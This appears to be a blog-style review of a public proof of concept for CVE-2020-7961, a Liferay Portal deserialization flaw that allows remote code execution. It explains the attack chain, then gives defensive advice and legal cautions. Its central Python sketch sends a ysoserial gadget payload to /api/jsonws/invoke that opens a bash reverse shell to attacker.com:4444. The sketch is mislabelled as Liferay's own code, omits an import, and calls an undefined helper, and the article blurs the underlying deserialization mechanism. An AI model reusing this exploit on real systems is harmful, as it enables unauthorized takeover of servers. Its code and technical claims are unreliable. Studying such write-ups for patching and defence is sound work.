Exploiting CVE-2020-7961: A Deep Dive into Liferay Portal's Deserialization RCE
Hook
A single HTTP request to an unauthenticated endpoint can give you complete control over an enterprise content management system serving millions of users—and it all comes down to trusting serialized Java objects.
Context
CVE-2020-7961, disclosed in January 2020, exposed a critical vulnerability in Liferay Portal that allowed unauthenticated remote code execution through Java deserialization. Liferay Portal is an enterprise-grade content management and digital experience platform used by major organizations worldwide, including Cisco, Lufthansa, and the United Nations. The vulnerability affected Liferay Portal versions prior to 7.2.1 CE GA2 and multiple DXP releases.
The vulnerability emerged from Liferay's JSON-RPC implementation, which accepted and deserialized untrusted data without proper validation. Java deserialization vulnerabilities have plagued enterprise applications for years—from Apache Commons Collections exploits to Spring Framework vulnerabilities—because the Java serialization format was designed for convenience, not security. When an application deserializes user-controlled data, attackers can craft malicious objects that execute arbitrary code during the deserialization process itself, before any application logic validates the data. The mzer0one/CVE-2020-7961-POC repository provides a Python-based proof-of-concept that demonstrates this attack vector, targeting Liferay's /api/jsonws endpoint to achieve complete system compromise without authentication.
Technical Insight
The exploit leverages Liferay's JSON web services endpoint, specifically targeting the JSON-RPC interface that processes serialized Java objects embedded within JSON payloads. Unlike traditional web vulnerabilities that exploit SQL injection or XSS, deserialization attacks manipulate the object reconstruction process itself. When Java deserializes an object, it instantiates classes and calls methods automatically, creating an opportunity for attackers to trigger malicious code paths.
The attack chain typically follows this pattern: First, the attacker identifies a vulnerable Liferay installation by probing the /api/jsonws endpoint. This endpoint is exposed by default and requires no authentication for certain operations. Second, the attacker crafts a malicious serialized payload using known gadget chains—sequences of existing Java classes that, when chained together during deserialization, achieve code execution. Tools like ysoserial have documented numerous gadget chains across popular Java libraries. Third, the payload is embedded in a JSON-RPC request and sent to the vulnerable endpoint.
Here's a simplified representation of what a vulnerable deserialization call might look like in Liferay's code:
import requests
import base64
# Target vulnerable Liferay instance
target = "http://vulnerable-liferay.example.com"
endpoint = "/api/jsonws/invoke"
# Malicious serialized Java object (simplified example)
# In reality, this would be a complex gadget chain
malicious_payload = generate_ysoserial_payload(
gadget="CommonsCollections6",
command="bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'"
)
# Encode payload for transport
encoded_payload = base64.b64encode(malicious_payload).decode()
# Craft JSON-RPC request exploiting deserialization
payload = {
"cmd": json.dumps({
"/expandocolumn/update-type-settings": {
"columnId": "1",
"typeSettings": encoded_payload
}
})
}
response = requests.post(
f"{target}{endpoint}",
data=payload,
headers={"Content-Type": "application/x-www-form-urlencoded"}
)
if response.status_code == 200:
print("[+] Exploit sent successfully")
print("[+] Check reverse shell listener")
The vulnerability exists because Liferay's JSON services layer attempts to deserialize type information embedded in JSON requests without validating whether those types are safe to instantiate. The Java reflection API allows instantiation of arbitrary classes present in the classpath, and enterprise applications like Liferay include dozens of third-party libraries—many containing classes that can be abused as gadget chain components.
What makes CVE-2020-7961 particularly severe is its attack surface: the vulnerable endpoint requires no authentication and is enabled by default in standard Liferay deployments. The attacker doesn't need valid credentials, session tokens, or any prior access to the system. The JSON-RPC interface was designed for legitimate API consumers but became an attack vector due to insufficient input validation on deserialized content.
The POC repository likely implements detection and exploitation capabilities, scanning for vulnerable Liferay versions by analyzing HTTP responses and server headers, then delivering the appropriate gadget chain payload. Modern exploitation frameworks like Metasploit have incorporated similar techniques, but standalone POCs provide valuable learning resources for understanding the underlying vulnerability mechanics.
From a defensive perspective, this vulnerability highlights why modern Java applications should avoid Java serialization entirely for external data, preferring JSON parsing libraries with strict schema validation. Libraries like Jackson and Gson parse JSON into Java objects without using Java's native serialization mechanism, eliminating entire classes of deserialization vulnerabilities. Additionally, implementing a serialization whitelist—only allowing deserialization of explicitly approved classes—can mitigate gadget chain attacks even when deserialization is necessary.
Gotcha
The primary limitation of this POC is its narrow scope—it targets specific Liferay Portal versions (pre-7.2.1 CE GA2) that remain unpatched. Organizations that applied Liferay's security patches in early 2020 are not vulnerable, meaning the tool's effectiveness is limited to outdated or poorly maintained installations. Additionally, the repository's lack of documentation means users must reverse-engineer the code to understand supported versions, required dependencies, and usage patterns. There's no guarantee the exploit works reliably across different deployment configurations, Java versions, or when custom security controls like web application firewalls are present.
More importantly, using this tool carries significant legal and ethical implications. Unauthorized testing against systems you don't own or have explicit written permission to test violates computer fraud laws in most jurisdictions, including the CFAA in the United States. Security researchers must obtain proper authorization through bug bounty programs, penetration testing engagements, or vulnerability disclosure agreements. Even possessing and executing exploit code against systems without authorization can result in criminal charges, regardless of intent. The POC is valuable for understanding vulnerability mechanics and validating patch effectiveness in controlled environments, but it should never be used for unauthorized security testing or malicious purposes.
Verdict
Use if: you're a security professional conducting authorized penetration testing on Liferay Portal installations and need to validate whether systems remain vulnerable to CVE-2020-7961, you're a security researcher studying Java deserialization vulnerabilities and want a real-world example of exploitation techniques, or you're responsible for Liferay security and need to understand the attack surface to implement compensating controls. This POC provides direct insight into how attackers target Java deserialization flaws in enterprise applications. Skip if: you lack explicit written authorization to test target systems (legal consequences are severe), you need production-ready security tooling with proper documentation and support (use Metasploit or commercial vulnerability scanners instead), you're working with current Liferay installations that have applied security patches (the vulnerability is fixed), or you're looking for general-purpose web application security testing (this is a single-purpose exploit for one specific CVE).